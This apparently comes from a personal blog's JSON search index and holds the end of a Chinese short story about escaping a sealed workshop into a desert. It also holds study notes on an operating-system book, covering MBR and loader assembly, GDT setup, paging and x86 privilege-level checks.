这样的孤独生活持续了整整十年。十年间,我一句话都没有说过,一个字符也不曾写过。我沦为了一只口不能言的人形机械,除却那本画册以外,我不再拥有过任何东西。\n 最近几天,工房的主人不见了踪影。我去他的办公室里找过他了,但除了堆积在办公桌上的文件以外,什么也没找到。\n 我试着翻阅那堆文件,但上面写着的净是些我从来没有见过的符号。在这堆积如山的文件里,我竟然找不到一份自己能够看懂的文件。\n 我把这些文件偷偷带出了办公室。来来回回跑了将近二十趟才将它们全都堆到了那根曾经用于躲藏的柱子底下。\n 我划燃一根火柴,将这些文件尽数点燃。又借来了数本画册,把它们叠成扇子,将灰烬送向了整个工房。\n 一时间,满天飘散着灰白色的余烬,在这个密不透风的工房里掀起了恐慌与混乱的浪潮。\n 他们的心都太过脆弱了,以至于就连一丝变化也无法接受。所有人仍然继续着工作,但没有人还能够忠于职守。大家都畏惧着这些灰烬,把灰烬当成了他们的主人。任谁也不敢抬头看一眼,生怕自己将会沦为饵食。\n 他已经消失了将近一周的时间了,工房里谁也没有看见过他的身影。于是这种恐慌也持续了一周,工房里谁也没有想过要去一探究竟。所有人的神经全都绷紧着,紧绷到稍有不慎就会引发暴乱的程度。\n 于是我又从他的办公室里偷来了铃铛和绳索,砸碎了玻璃又顺走了剪刀。\n 每天夜里,我都站在宿舍的走廊上用剪刀用力的在玻璃上划出字符,将铃铛系在手上,一有动作便发出声响。尽管嘈杂的声音让所有人都难以安眠,可谁也没有出来过,谁也不敢打开房门认清楚罪魁祸首。\nX005\n 我的处分终是下来了。尽管在那次事件以后,我没日没夜的工作,拼了命想要弥补自己犯下的错误,终还是逃不过被处理掉的命运啊。\n 翻看完对我的处分文件,强行压下想要据理力争的心情,我开始为自己准备后事了。\n 既然已经不再需要工作了,这些文件便没有审批的必要了;抽屉里的识别卡和工作牌也没有销毁的必要;医药箱里的镇定剂和麻醉药就留给下一任也没关系,因为我不怎么爱用那些;玻璃展柜里的红酒至今也舍不得喝,想不到居然已经没有机会品尝了;垫桌角用的书一直都没有读过,本想着读一本换一本的,想不到以后就要交给其他人来做了;我的镣铐也……\n 当我从杂物箱里翻出了自己的镣铐时,身体却突然不听使唤的卡在了原地。镣铐刻着的,是一簇由寒冰雕刻而成的冰花。望着这蔟永不凋零的冰花,我不再慌乱。重新将它扣在了自己的手臂上,我开始收拾行装。\n 红酒就由我带走吧,果然我还是舍不得它;大门的钥匙也有必要带走,以后或许还派得上用场;镇定剂和麻醉剂什么的果然还是没必要,就当送给下一任吧;这些文件依旧很是烦人,全都丢给下一任就行了吧?\n 当我收拾好行李之后,趁着天还没完全黑,我偷偷从工房里逃走了。\n 穿过冰冷的闸门,望见的是落日的余晖洒在贫瘠的土地上,沙土的余温炙烤着每一寸荒凉。曾经的这里也曾是鸟语花香的伊甸园,但现在已经什么都不剩了。上一次驱逐某个孩子的时候,这里还有过一点点干枯的草根,现在却已经什么都没有剩下了。\n 尽管落到如今这份田地全是自己亲手造成的后果,但我总归是没有选择的余地。谁会和带着项圈的家畜过不去呢?\nX006\n 看来是控制成功了,最近的他对我的命令不再抵抗了。他今天也非常完美的按照指示结束了工作,于是我打算试探一下他的想法。\n 「这次你做的不错,说把,想要什么奖励?」\n 可那种结果却不过是我的一厢情愿罢了,他并没有受我控制,也不是在听命于我,他甚至不觉得这些东西是理所当然的。在听到了他的回答之后,我难以抑制自己的愤怒,无视了他的请求就这样径直离开,还不时将愤怒发泄在身边的事物上。\n 冷静下来之后,我开始思考起了该如何才能控制他。可这又谈何容易呢?在这样的一座工房里,只有他总是偏离我的设想,以至于我不得不为了他一人彻夜冥思苦想。\n 最近,我第一次看见了他与外人交流。和他交流的是那个镣铐上标有契约图案的女孩。我仿佛窥见了一缕曙光。和别人建立羁绊,也就等于给自己套上枷锁。尽管规则上的枷锁不管有多少都没有将他栓住,但感情上的枷锁却让我看到了一丝转机。\n 我试着散布谣言,让他在认知上将“不能接近大门”这件事视作常识。也通过影响他周遭的人们,让这种想法成为普遍的认知。同时,我设置了戒令,即使我根本就没有设置戒令的权限,以至于让它成了个徒有虚名的空壳,但只要它切实存在,也就有着足够的威慑力了。\n 我没有下达指令的权限,最多只能拟订计划罢了。若非上面的人迟迟不肯批给我权限,我又怎需要如此煞费苦心呢?即便我一次次向上头申请,他们给我的回应也总是“请拿出与之相称的能力后再来申请”。没有权限要我怎么做出成绩?处处受限的感觉也不是第一次了,但这种无力感却还是头一次。即便自己有着堪称完美的计划,也要苦于无处可施。我迫切的想要做出实绩,以至于让我在某一瞬丧失了理智。这个绝不能犯的失误,宛如滑稽的演出一般,它既缺乏上演的理由,也没有合理的逻辑,总之,我失控了。\n 我企图将她逐出工房,以此来抑制他的探求欲望。我相信,只要他认识到探求外界会为他带来怎样的后果,他很快就会知难而退。\n 于是我刻意当着他的面,在他将要回宿舍的路上,刻意将这一幕展示给他看。\n 我拽着她的锁链,将她拖向大门。任凭她如何哀嚎与求饶,缠绕着的锁链仍然将她拽向深渊。她趴在地上,指甲死死的扣在地里,但身后的锁链却毫不留情的将她拖拽,在沿途留下了一根根鲜红的引线。\n 哭嚎声回荡在空无一人的回廊里,伴着锁链相互敲击的声音渐行渐远。他悄悄地在不远处注视着我,我以为他终于是开了窍,用余光瞄去,他的眼里,只有期待……\n 我难以置信,本来没****想要真的将她放逐地狱,却被这样的结果刺激了神经,狠下心来,我缓缓打开了闸门。\n 后悔已经来不及了。才到我放逐她的第二天,我便深感后悔。\n 我本就没有将这里的孩子驱逐出界的权限,本想着若是能够做出成绩,这种程度的越线也是能够被默许的。当初刚接任这里的时候,我就被告知了他是这座工房最重要的保护对象之一,无论如何都要控制住他。而那个“契约”,在程度上要比他低一级,因此我才敢放手一搏。回想起直到最后他眼里仍然充满了羡慕与憧憬的样子,我便难以忍受自己的愚蠢。尽管第二天一早我就出去寻找她了,可这片荒原终是将她吞噬的一干二净。如今,我千方百计想要隐瞒这件事,但终究还是难逃一劫。\nX007\n 因为已经没有上工的必要了,于是我在工房里闲逛。只要绕过了那两个顽固不化的守卫,就没有人会对我的行径说三道四了。\n 我无论如何也不想错过这次机会,趁着他不在的这段时间里,尽可能的搜索一下工房,以便将来的逃脱。\n 我最先检查的就是他的办公室了,尽管已经去过很多次,但唯独那个打不开的抽屉最让我在意。\n 其次是配电房,里面并没有什么特别的。\n 还有就是他的卧室了。类似于备用钥匙之类的东西,能够藏匿的地方都比较有限。并不是说它只能藏在那些地方,而是因为他们大多只会被藏在那些地方。\n 我试着翻箱倒柜,将视线之内的一切全都掀翻,但最后也没能找到什么用得上的东西。于是我从他的衣柜里拆出了一根铁棍。\n 我将那根铁棍的前段用床压平,就这样将它插进了那个打不开的抽屉。猛的一撬,整个抽屉都被我撬开了。里面赫然摆放着一把钥匙。\n 之后,我还搜索了大大小小各种各样的地方,但全都一无所获。\n 我以为那就是大门的钥匙了。自作聪明的将他插进了钥匙孔,可无论我怎样试图将它转动,它也仍是纹丝不动。\n 被失望充盈的我继续徘徊在这座工房里。尽管本就不抱多少期待,但好不容易找到了钥匙却发现它根本无法使用,多少会觉得惋惜。\n 但我还是离开了工房。谁能想得到,我梦寐以求的钥匙的原型竟一直刻在我的镣铐上。\n 我试图将他临摹下来,照着它的模样用铁丝与纸板有模有样的仿出了一把钥匙。就连我都感到不可思议,因为过程实在太过顺利了,顺利的甚至让人怀疑。谁能想得到,牢笼的钥匙会被刻在自己的镣铐上。\n 总之,我出去了,进到了自己梦寐以求的世界。\n 放眼望去,工房外是一片无边无际的沙漠。和我印象中的世界有些许不同,和画册里的世界有一点偏差,但总归是我从未见过的世界。\n 于是,我怀着兴奋与不安的心情,向着太阳下落的方向走去。\nX008\n 乌云从远方飘来,带着水汽和雷霆向我奔来。我在沙漠里行进了不知多少时日,饥渴难耐的我无比渴望着一场及时雨能够救下我濒死的性命。可当我望见那片雷云的时候,抛却了一切希冀,只剩下恐惧挥之不去了。\n 「果然我的罪恶是难以得到宽恕的吗?」\n 我不禁自问,伫立在原地不再逃亡。\n 但我很快就又开始鼠窜了。倾落而下的雨滴宛如钢针般锋锐,它们刺透我的躯壳,在我的身体上留下了密密麻麻的血洞。我抱头鼠窜,但在这片广阔的沙漠中是找不到任何一处避风港的。\n 起初不过是针线罢了。渐渐的,雨越来越大了。他们就像箭矢一样刺穿了我的盔甲,却又不会像箭矢一样残留在血肉当中。数不尽的冷光从天而坠,刺入血肉当中再溶解一摊血水。\n 伤口像是被泡在了水中逐渐糜烂一般,疼痛难忍却又难以愈合。带出来的绷带完全派不上用场,血水根本就止不住,不停地向外喷涌。\n 伤痛实在太过残忍了。当我回过神来,浑身上下密密麻麻的全是暗红色的血洞。挣扎着爬起,已经是我唯一能做的事了。\n 在生命的最后一刻,我想要再看一眼我的工房。我深知自己不过是个自以为是的小丑,为了权力与束缚彻夜演出,最后换得个伤痕累累的下场,或许就是我最后的归宿了。\n 「但至少,至少再让我看一眼!即便我一无是处,成为了随处可见的尘土,至少再让我看一眼,再让我看一眼我曾经向往过的世界吧!即便我罪孽深重,即使我一无是处,也请让我再看一眼就好,再看一眼就好了!这是我最后的请求了,求求你,求求你放过我吧!」\n 雨停了,似是回应我的请求一般,它真的离开了。我以为自己真的得到了原谅,真的有机会再看一眼那座伊甸了,可我终是挪不动自己的躯壳了。他甚至比我的遗愿还要沉重,迫使我无法起身。\n 好不容易柱起了拐杖,勉强支起了即将燃尽的灵魂。我艰难地向着故乡的方向走去,但双腿却无论如何也迈不出去。刚抬起来,又落下去,拄着拐杖的手也颤抖不止,鲜血顺着手臂从拐杖上滑落,将它染成了残阳的颜色。\nX009\n 此刻,我站在他的面前,望着他跪伏的样子,心生怜悯。他凄惨无比的样子十分可怜,浑身上下没有一处安好的地方,手臂上的镣铐被鲜血浸没,在夕阳下泛起微光,脸上的血痂结了一层又一层。\n 我站在原地,低着头俯视着这副惨状。他似乎察觉到了我的视线,勉强抬起头怒视着无辜的我。我一时间不知该作何反应。\n 「你还想要怎样……事到如今,你还没满足吗!」\n 突如其来的怒斥更是让我不知所措,我想我应该没有做过什么遭人记恨的事情,至少,对方是毫不知情的才对。\n 他想要重新支起身子,但羸弱的身体已经不堪重负了。我想要扶他起来,可刚一接近,他就想甩开了我的手。可他实在太虚弱了,光是抬起手臂就已经不剩任何余力了,更何况甩开我的手。才刚碰到我的手,自己就先因脱力而倒下了。\n 我看见他的右臂上带着一副镣铐,上面刻着的是一束冰花。\n 「或许那把钥匙就是用来开这把锁的吧?」\n 我拿出钥匙,将他手臂上的枷锁解下。他似乎想要挣扎,但已经没办法做出反应了,只能用沙哑的声音不停的呢喃着什么话语。\n 「放…放……我…求..你….放……..我……」\n 他已经连话都说不清了,但我隐约觉得他是在央求我解下他的枷锁。\n 当那副刻有冰花的枷锁从他的手臂上卸下,他如释重负,仿佛对此世间再无眷恋,似是安详的闭上了眼,一滴血泪从眼角滑落。\n 我打算离开了,再不要留在这里同他一起风化。为了方便起见,我将那副镣铐戴在了自己的左臂上。不带半点怜悯,没有丝毫犹豫,径直离开了沙漠。不被挽留,不假思索,我回到了那座工房,我回到了故土。我的愿望破灭了,我的愿望实现了。\nX000\n 你可以尽情地嘲笑我,我很清楚自己的分量。我既是那片伊甸的创造者,亦是那里的神。可只有我没能得到它的入场券,只有我不被允许逃进那片伊甸,没有人会为我指路,亦无人肯为我立墓。\n","categories":["Story"],"tags":["故事","短篇"]},{"title":"《操作系统真象还原》chapter1-5笔记与总结","url":"/2022/01/13/systemkernel-chapter1-5/","content":"\n引题:操作系统是如何被启动的?主板接电以后,内嵌在主板上的ROM中的BIOS会将 0盘0道1扇区 中的MBR(Main Boot Record)读取到内存中一个固定的位置,然后自动跳转到该位置(0x7c00),之后由MBR取代BIOS接管系统。此时,系统处于“实模式”,此时只能使用寄存器的低16位。\n但MBR最大只能有一个扇区(512字节),可做的事情极其有限,因此MBR只从硬盘读取Loader到内存(读取位置也是约定好的),同时再跳转到Loader,由其取代MBR接管系统。\n(至于读到哪里,实际上无所谓,只要最开始做好约定,让其能够跳转达到即可)\nLoader则能够做到所有初始化工作。进入保护模式、加载内核、启动分页等工作。\nMBR主引导记录:\n; 主引导程序;-----------------------------------------------%include "boot.inc"SECTION MBR vstart=0x7c00;起始于0x7c00;如下为初始段寄存器,cs在加载时会被置为代码段地址;0xb800对应了显存,对该内存写就相当于将内容打印在显示屏上 mov ax, cs mov ds, ax mov es, ax mov ss, ax mov fs, ax mov sp, 0x7c00 mov ax, 0xb800 mov gs, ax; 清屏;--------------------------------------------------- mov ax, 0600h mov bx, 0700h mov cx, 0 mov dx, 184fh int 10h ; 显示"1 MBR" mov byte [gs:0x00], '1' mov byte [gs:0x01], 0xA4 mov byte [gs:0x02], ' ' mov byte [gs:0x03], 0xA4 mov byte [gs:0x04], 'M' mov byte [gs:0x05], 0xA4 mov byte [gs:0x06], 'B' mov byte [gs:0x07], 0xA4 mov byte [gs:0x08], 'A' mov byte [gs:0x09], 0xA4 mov eax, LOADER_START_SECTOR mov bx, LOADER_BASE_ADDR ; 读取4个扇区 mov cx, 4 call rd_disk_m_16 ; 直接跳到loader的起始代码执行 jmp LOADER_BASE_ADDR + 0x300;-----------------------------------------------------------; 读取磁盘的n个扇区,用于加载loader; eax保存从硬盘读取到的数据的保存地址,ebx为起始扇区,cx为读取的扇区数rd_disk_m_16:;----------------------------------------------------------- mov esi, eax mov di, cx mov dx, 0x1f2 mov al, cl out dx, al mov eax, esi mov dx, 0x1f3 out dx, al mov cl, 8 shr eax, cl mov dx, 0x1f4 out dx, al shr eax, cl mov dx, 0x1f5 out dx, al shr eax, cl and al, 0x0f or al, 0xe0 mov dx, 0x1f6 out dx, al mov dx, 0x1f7 mov al, 0x20 out dx, al.not_ready: nop in al, dx and al, 0x88 cmp al, 0x08 jnz .not_ready mov ax, di mov dx, 256 mul dx mov cx, ax mov dx, 0x1f0.go_on_read: in ax, dx mov [bx], ax add bx, 2 loop .go_on_read ret times 510-($-$$) db 0 db 0x55, 0xaa\n\nLoader:\n%include "boot.inc"section loader vstart=LOADER_BASE_ADDRLOADER_STACK_TOP equ LOADER_BASE_ADDR; 这里其实就是GDT的起始地址,第一个描述符为空GDT_BASE: dd 0x00000000 dd 0x00000000; 代码段描述符,一个dd为4字节,段描述符为8字节,上面为低4字节CODE_DESC: dd 0x0000FFFF dd DESC_CODE_HIGH4; 栈段描述符,和数据段共用DATA_STACK_DESC: dd 0x0000FFFF dd DESC_DATA_HIGH4; 显卡段,非平坦VIDEO_DESC: dd 0x80000007 dd DESC_VIDEO_HIGH4GDT_SIZE equ $ - GDT_BASEGDT_LIMIT equ GDT_SIZE - 1times 120 dd 0SELECTOR_CODE equ (0x0001 << 3) + TI_GDT + RPL0SELECTOR_DATA equ (0x0002 << 3) + TI_GDT + RPL0SELECTOR_VIDEO equ (0x0003 << 3) + TI_GDT + RPL0; 内存大小,单位字节,此处的内存地址是0xb00total_memory_bytes dd 0gdt_ptr dw GDT_LIMIT dd GDT_BASEards_buf times 244 db 0ards_nr dw 0loader_start: xor ebx, ebx mov edx, 0x534d4150 mov di, ards_buf.e820_mem_get_loop: mov eax, 0x0000e820 mov ecx, 20 int 0x15 jc .e820_mem_get_failed add di, cx inc word [ards_nr] cmp ebx, 0 jnz .e820_mem_get_loop mov cx, [ards_nr] mov ebx, ards_buf xor edx, edx.find_max_mem_area: mov eax, [ebx] add eax, [ebx + 8] add ebx, 20 cmp edx, eax jge .next_ards mov edx, eax.next_ards: loop .find_max_mem_area jmp .mem_get_ok.e820_mem_get_failed: mov byte [gs:0], 'f' mov byte [gs:2], 'a' mov byte [gs:4], 'i' mov byte [gs:6], 'l' mov byte [gs:8], 'e' mov byte [gs:10], 'd' ; 内存检测失败,不再继续向下执行 jmp $.mem_get_ok: mov [total_memory_bytes], edx ; 开始进入保护模式 ; 打开A20地址线 in al, 0x92 or al, 00000010B out 0x92, al ; 加载gdt lgdt [gdt_ptr] ; cr0第0位置1 mov eax, cr0 or eax, 0x00000001 mov cr0, eax ; 刷新流水线 jmp dword SELECTOR_CODE:p_mode_start[bits 32]p_mode_start: mov ax, SELECTOR_DATA mov ds, ax mov es, ax mov ss, ax mov esp, LOADER_STACK_TOP mov ax, SELECTOR_VIDEO mov gs, ax ; 加载kernel mov eax, KERNEL_START_SECTOR mov ebx, KERNEL_BIN_BASE_ADDR mov ecx, 200 call rd_disk_m_32 call setup_page ; 保存gdt表 sgdt [gdt_ptr] ; 重新设置gdt描述符, 使虚拟地址指向内核的第一个页表 mov ebx, [gdt_ptr + 2] or dword [ebx + 0x18 + 4], 0xc0000000 add dword [gdt_ptr + 2], 0xc0000000 add esp, 0xc0000000 ; 页目录基地址寄存器 mov eax, PAGE_DIR_TABLE_POS mov cr3, eax ; 打开分页 mov eax, cr0 or eax, 0x80000000 mov cr0, eax lgdt [gdt_ptr] ; 初始化kernel jmp SELECTOR_CODE:enter_kernel enter_kernel: call kernel_init mov esp, 0xc009f000 jmp KERNEL_ENTRY_POINT jmp $; 创建页目录以及页表setup_page: ; 页目录表占据4KB空间,清零之 mov ecx, 4096 mov esi, 0.clear_page_dir: mov byte [PAGE_DIR_TABLE_POS + esi], 0 inc esi loop .clear_page_dir; 创建页目录表(PDE).create_pde: mov eax, PAGE_DIR_TABLE_POS ; 0x1000为4KB,加上页目录表起始地址便是第一个页表的地址 add eax, 0x1000 mov ebx, eax ; 设置页目录项属性 or eax, PG_US_U PG_RW_W PG_P ; 设置第一个页目录项 mov [PAGE_DIR_TABLE_POS], eax ; 第768(内核空间的第一个)个页目录项,与第一个相同,这样第一个和768个都指向低端4MB空间 mov [PAGE_DIR_TABLE_POS + 0xc00], eax ; 最后一个表项指向自己,用于访问页目录本身 sub eax, 0x1000 mov [PAGE_DIR_TABLE_POS + 4092], eax; 创建页表 mov ecx, 256 mov esi, 0 mov edx, PG_US_U PG_RW_W PG_P.create_pte: mov [ebx + esi * 4], edx add edx, 4096 inc esi loop .create_pte; 创建内核的其它PDE mov eax, PAGE_DIR_TABLE_POS add eax, 0x2000 or eax, PG_US_U PG_RW_W PG_P mov ebx, PAGE_DIR_TABLE_POS mov ecx, 254 mov esi, 769.create_kernel_pde: mov [ebx + esi * 4], eax inc esi add eax, 0x1000 loop .create_kernel_pde ret; 保护模式的硬盘读取函数rd_disk_m_32: mov esi, eax mov di, cx mov dx, 0x1f2 mov al, cl out dx, al mov eax, esi mov dx, 0x1f3 out dx, al mov cl, 8 shr eax, cl mov dx, 0x1f4 out dx, al shr eax, cl mov dx, 0x1f5 out dx, al shr eax, cl and al, 0x0f or al, 0xe0 mov dx, 0x1f6 out dx, al mov dx, 0x1f7 mov al, 0x20 out dx, al.not_ready: nop in al, dx and al, 0x88 cmp al, 0x08 jnz .not_ready mov ax, di mov dx, 256 mul dx mov cx, ax mov dx, 0x1f0.go_on_read: in ax, dx mov [bx], ax add bx, 2 loop .go_on_read retkernel_init: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov dx, [KERNEL_BIN_BASE_ADDR + 42] mov ebx, [KERNEL_BIN_BASE_ADDR + 28] add ebx, KERNEL_BIN_BASE_ADDR mov cx, [KERNEL_BIN_BASE_ADDR + 44].each_segment: cmp byte [ebx], PT_NULL je .PTNULL ; 准备mem_cpy参数 push dword [ebx + 16] mov eax, [ebx + 4] add eax, KERNEL_BIN_BASE_ADDR push eax push dword [ebx + 8] call mem_cpy add esp, 12.PTNULL: add ebx, edx loop .each_segment retmem_cpy: cld push ebp mov ebp, esp push ecx mov edi, [ebp + 8] mov esi, [ebp + 12] mov ecx, [ebp + 16] rep movsb pop ecx pop ebp ret\n\n实模式下的地址拓展于今日而言似乎并没有太大意义了,随着寄存器和总线位数拓宽,不再需要像DOS时代那样仅使用1MB的内存了,因此这里不做记录,只需要记住其寻址最大值是0xffff:0xffff(0x10ffef)即可。\n但内存的寻址方式和进入保护模式以后的段寄存器的用途却十分耐人寻味,一言蔽之即为“描述符–>>内存”\nGDT(Global Descriptor Table):全局描述符表(段描述符表)\n该表用于储存一系列逻辑门、内存段的地址。\n其第一项默认留空,称之为哑描述符。之所以这样规定,似是为了防止在未初始化选择子时违规访问到该描述符,于是索性就对其留空,让无意的访问直接错误。\n而专门有一个寄存器GDT Register(48bit)用于加载该表的地址,使用R0专用的指令 lgdt 加载,通过 sgdt 保存。(我有点怀疑,之所以只有48bit是因为Intel芯片只有48根总线,支持内存只有2^48 BYTE,不过目前64位系统中,这个寄存器又达到79bit了,但目前没有确信)\n其结构如下:\n\n// base: 基址// limit: 寻址最大范围 tells the maximum addressable unit// flags: 标志位// access: 访问权限struct gdt_entry { uint16_t limit_low; uint16_t base_low; uint8_t base_middle; uint8_t access; unsigned limit_high: 4; unsigned flags: 4; uint8_t base_high;} __attribute__((packed));\n\n除此之外,我暂时不对GDT做过多深入\nA20(A20GATE):特殊总线的控制端口\n实则对应第21根总线的控制端口。在80286时代,被使用的总线为0~19,但内存只有1M-0x100000,大于该部分是地址会被回绕。但打通A20(第21根总线)之后,硬件就知道应该拓展地址了,而不应该继续回绕。对应到32位的现代芯片,当A20被开启(置1)以后,处理器将不再把16位以上的地址回绕。(体现为:将0x92端口低位置1)\nin al, 0x92or al, 00000010Bout 0x92, al\n\nCR0 Register:\n处理器控制位图。不过多深究,仅记录PE(Protection Enable):置1则标识进入保护模式。之后,CPU将以4字节为单位读取指令。\n\n分页机制:分页总的能够概况成一句话:“32位地址能够表示2^32空间”。\n似乎没什么特殊的,但当时读完整章之后,我最大的感想就是这句。\n保护模式下,可寻址范围扩大到 4G ,共32位,但出于安全考虑,我们不应该让内存能够被 “平坦地访问” 。所谓平坦,指的是整个内存的地址空间连续,从0~4G可以直接通过地址的加减来访问对应内存;但只要系统会被用户使用,就应该避免内核数据能够被用户直接读写。显然,“平坦模式”下(也就是从加电直到分页之前),我们没办法直接实现这个功能。\n因此需要引入“内存分段(页)”,对于权限低的人,只允许他访问限定好的页,而对于最高权限的内核,则允许它访问整个内存。对于“操作系统占用内存高地址的1GB,用户占用低地址3GB”的设想也是因此得以实现的。可以看出,这个1GB和3GB已经指的是“虚拟地址”了,但这里的虚拟地址又和每个进程都有的“虚拟地址空间”不是同一个东西,后者是进程独立的,而前者则属于操作系统自身。\n概念如此,具体表现在:对32位地址的分割\n首先,按照每页4K来划分内存,4G/4K=2^20,意味着如果对每一页都使用一个索引去表示,需要 1MB * 4=4MB 的内存。但这个肯定是不允许的,因为占用实在太大了,因此我们可以再做一份二级页表(此处称之为“页目录表”(PDE:Page Directory Entry)),该表也按照4K分页,则4MB/4K=2^10,则页目录表只占用 1KB * 4=4KB 大小(1024条目)。\n假设现在,我们容许为此耗费4KB,那么就不需要再继续分页了,过度的分页对导致效率降低。PDE的目的是为了索引页表,共1024个条目(Entry),每个PDE的条目都会指向一个页表,而一张页表对应1K * 4KB = 4MB 内存。\n因此,只需要划出页目录表的后256个条目供内核使用,就能够界定这1GB空间,而只要禁止用户去访问这部分页目录,那么用户程序自然就没办法直接访问内核数据了。\n显然的是,索引1024个条目不需要32位,10位足够了,所以我们完全可以留出一些内容提供额外的信息(上文所述的属性),比如访问权限等(但这是后话,并不是本章的重点,以下仅给出结构而不详细说明)。(另外一个事实是,如果您读到这里都没觉得奇怪,就说明您已经接受了一个条目占用32位的事实了,不过事实确实如此,也说明这并没有反直觉)\n\n\nmov eax, PAGE_DIR_TABLE_POS; 0x1000为4KB,加上页目录表起始地址便是第一个页表的地址add eax, 0x1000mov ebx, eaxor eax, PG_US_U PG_RW_W PG_P; 设置第一个页目录项mov [PAGE_DIR_TABLE_POS], eax; 第768(内核空间的第一个)个页目录项,与第一个相同,这样第一个和768个都指向低端4MB空间mov [PAGE_DIR_TABLE_POS + 0xc00], eax; 最后一个表项指向自己,用于访问页目录本身sub eax, 0x1000mov [PAGE_DIR_TABLE_POS + 4092], eax\n\n第768(内核空间的第一个)个页目录项之所以要和第一项相同,是为了保证分页之后的Loader程序的虚拟地址和物理地址一致。因为Loader也算是内核程序,应该保证它在虚拟地址的高1GB内,所以要把自己这一页放到768项(0xc000000对应的就是768页目录所标识的页表)\n在设置完内核页表以后,调整esp到虚拟地址空间,修改GDT指向虚拟地址的对应位置,将页目录表的地址存入cr3 Register(该寄存器专门用于此功能),置cr0 Register的PG位为1。加载 GDT,从此开启了内核的分页,往后的地址将全都使用虚拟地址替代物理地址。\n显然,当下的“虚拟地址”是由硬件和操作系统共同完成的,它不同于多进程下每个进程独立的“虚拟地址空间”,后者理应是由操作系统单独提供的能力(暂时还没看到后面,但就目前我个人猜测,认为理应如此)。\n然后只需要从硬盘读取内核到0xc0000000,然后跳转到_start函数即可由内核接管以后的工作。且因为自此之后,MBR,Loader等均不再工作,直接在内存中覆盖掉也完全无妨。另外,开启虚拟地址功能以后,所有的思考都应该直接通过虚拟地址完成,不再需要进行物理地址的计算和转换,因为处理器会完成这一切。\n此时的内核已经加载到内存,接下来根据ELF的文件头来获取相关信息以后,将内核按照节区(Section)划分复制到虚拟地址对应的位置后直接用长跳转刷新流水线后达到内核的第一条指令。\n如上内容的流程图:\n\n特权级:首先需要涉及TSS(Task State Segment)结构:\n\n这是一个针对任务的结构体,每个任务都会拥有一个TSS结构体(这个“任务”将在以后成为进程)。\nSS代表栈段寄存器,用以储存不同等级下的栈基址,分别有R0,R1,R2这三个等级;至于R3,因为R3向高权限区域访问时会将自己的SS入栈;而高权限区域从来不需要向R3“主动跳转”,因此不需要SS3(“主动”指的是类似中断、call等,ret等指令我称之为被动跳转)。\n不过就要提到上述的GDT以及下文涉及的门描述符了。其结构如下图。\n\n\n门\ntype值\n存在位置\n用法\n任务门\n0101\nGDT、LDT、IDT\n与TSS配合实现任务切换,不过大多数操作系统都不这么玩\n中断门\n1110\nIDT\n进入中断后屏蔽中断(eflags的IF位置0),linux利用此实现系统调用,int 0x80\n陷阱门\n1111\nIDT\n进入中断后不屏蔽中断\n调用门\n1100\nGDT、LDT\n用户用call或jmp指令从用户进程进入0特权级\nGDT(Global Descriptor Table)除了一般的段描述符外,还储存各类门描述符。\n(但也可能从LDT(局部描述符)中寻找,但原理是一样的)\n一个门描述符中包含了对应的例程选择子和例程偏移量,像该门跳转的过程同一般的jmp相近,但特别的是,需要经过处理器的权限检查。\n必须明确的是:\n描述符 (Descriptor):用以描述一个段的属性\n选择子(Selector):用以访问内存\n因此描述符规定了访问该内存所需的权限,而选择子都表明了访问者拥有的权限。\n每个描述符中的DPL(Descriptor Privilege Level)标识该描述符所拥有的权级,03对应R0R3的权限。接下来分为两个情况:\n请求数据:\n处理器对比当前CPL(Current Privilege Level)和目标段选择子中的DPL(Descriptor Privilege Level),若CPL<=DPL,则允许访问。\n因此对于R3下的程序,如果尝试读取内核数据,就会因为CPL大于DPL而被阻止。\nCPL即为当前CS和SS寄存器选择子中的RPL(Request Privilege Level),意味请求特权级。\n\n检查时机:特权级检查会发生在往 数据段寄存器 中加载 段选择子 的时候,数据段寄存器包括 DS 和附加段寄存器 ES、FS、GS,如\n\n\nmov ds,ax\n\n\n检查条件:CPL <= 目标数据段DPL && RPL <= 目标数据段DPL (只能高特权级的指令访问地特权级的数据)\n\n跳转执行:\n倘若程序企图直接从R3跳转到R0权限执行,就需要通过门进行了。但情况还是要分为两种,跳转目标是/非一致代码段。\n\ncall 内核选择子\n\n\n检查条件\n无门结构且目标为非一致代码段:CPL = RPL = 目标代码段DPL\n无门结构且目标为一致代码段:CPL >= 目标数据段DPL && RPL >= 目标数据段DPL\n有门结构:DPL_GATE >= CPL >= DPL_CODE && RPL <= DPL_GATE(从低特权级跳到高特权级需要通过门)\n\n\n\n转移前的栈结构如下:\n\n同时,当SS切换到高权级的时,会自动将这些内容复制到新的栈中。最后会通过iret或retf指令返回到R3\nRPL意味着“请求者”的权限等级,而非“承包商”的。\n思考这样一个情况:\n\n用户程序发出读取硬盘调用请求,操作系统接收,进入内核(CPL=0/RPL=3)\n操作系统执行调用,将数据写入缓冲区(CPL=0/RPL=3)\n\n倘若缓冲区位于R3段,那么DPL=3,能够正常写;但倘若缓冲区位于R0,那么DPL=0,应该被阻止。RPL相当于发出调用请求的用户程序,而CPL则相当于执行请求的“承包商”,不能因为“当前权限允许就去执行”,还需要判断“发起人是否有足够的权力这样做”。\n至于RPL是在什么时候被写换的,内核态时,RPL为什么不会是0?\n首先,Selector是由操作系统提供的,在提供该Selector时会将RPL改为用户的CPL,因此用户手中的Selector对应的RPL必定会是3。\n然后,CPL是在用户程序加载时由操作系统设定的,并且操作系统规定,处于R3的权限下不能将CS段中的低两位降低,所以用户的CPL必定为3,且不由用户控制。\n最后,在用户需要提交自己的选择子时,不论用户能否伪造它,只要用户无法伪造CS 寄存器,它就无法修改自己提交的选择子。因为只要用户提交选择子,操作系统就会用CPL来替换选择子中的RPL,而该选择子的RPL意味着请求以后的RPL。\n这两个耦合的键值加上操作系统的强权,硬是把权限限死了……\n另外,当调用门完成调用之后,需要从R0切换回R3,只需要把栈中的数据恢复即可。但值得注意的是,DS、ES、FS、GS等寄存器的值如果不属于返回目标对应的DPL区域,会直接被置0,以防止数据泄露。在之后的运行过程中,如果需要调用该寄存器,就会触发处理器异常,然后调用到对应的处理函数去。\n至于本章最后的I/O特权级,我个人认为作为了解性知识即可,便不再过多赘述了。\n.\n.\n.\n插画ID:93302401\n","categories":["Note","操作系统"]},{"title":"《操作系统真象还原》chapter10 笔记与思考","url":"/2022/02/06/systemkernel-chapter10/","content":"\nPART 1 <锁Lock>    首先是上一章的地址访问错误问题。首先回忆一下本书的打印字符串功能是如何实现的:\n\n读取当前光标值\n将光标值转换为坐标值\n向坐标写入字符\n更新光标值\n\n    其中,更新光标的过程如下:\n\n通知光标寄存器将要设置高8位\n设置高8位\n通知光标寄存器将要设置低8位\n设置低8位\n\n    